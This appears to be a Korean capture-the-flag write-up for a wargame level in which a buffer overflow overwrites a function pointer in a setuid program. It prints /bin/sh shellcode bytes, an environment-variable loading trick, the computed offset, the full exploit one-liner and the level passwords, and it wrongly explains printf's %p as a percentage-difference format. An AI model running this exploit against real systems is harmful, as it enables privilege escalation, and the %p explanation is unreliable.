Level17 풀이.
pw = 'king poetic'
일단 문제 풀이를 위해 hint를 본다.
level16과 비슷해 보이는데, 쉘이 없어지고, SETREUID가 메인에 들어왔다.
void printit()는 printit 함수가 선언, printf(“Hello there! \n”) hello there! 이라는 구문 출력.
int crap은 int형 변수 crap 선언. void(*call)()=printit은 *call 포인터 함수에 printit 함수 주소 저장.
char buf[20]는 문자형 buf 변수에 20byte 할당. fgets(buf,48,stdin) fgets 함수를 사용해 buf 변수에 48바이트 만큼 할당. setreuid(3098, 3098) level18의 권한 같다.
call은 call 함수 호출.
일단 buf[20] ~ *call 거리랑 쉘 코드 주소 확인, *call 위치를 쉘 코드 주소로 표기 가능해야 된다.
일단 main + 25 lex eax[ebp-56] buf에서부터 ebp의 거리를 확인 가능 즉 거리는 56.
main + 57 mov eax, DWORD PTR [ebp-16] call에서 ebp의 거리 확인 가능 즉 거리는 16.
즉 buf[20]에서 call 까지의 거리 = (buf[20] - ebp 거리) - (call –ebp 거리) 56 – 16 = 40.
쉘 코드 주소를 환경 변수에 등록.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 이 나왔고, 여기에다가 export shellcode=$(python –c ‘print“\x90”*20+ 이 형태를 쓰고, 간단히 shellcode를 환경 변수에 등록한다.(구글링 참조).
int main()
{
printf(“%p\n”, getenv(“shellcode”));
return 0;
}
일단 getenv은 환경 변수를 가져온다. 환경변수에서 값에 대한 포인터를 반환하거나, 일치하는 것이 없다면 NULL 반환한다.
%p는 퍼센트 포인트로 두 백분율과의 산술적 차이를 나타날 때 쓴다.
그 다음 ./shellcode 치면 0xbffffef0 이게 쉘 코드 주소.
그럼 즉 [buf[20]에서 + call 까지의 거리] + [쉘 코드의 주소].
즉 (python –c ‘print“\x90”*40+“\xf0\xfe\xff\xbf”;cat)|./attackme.
pw = 'why did you do it'.
cf) level16과 비슷하고, 좀 변형된 문제.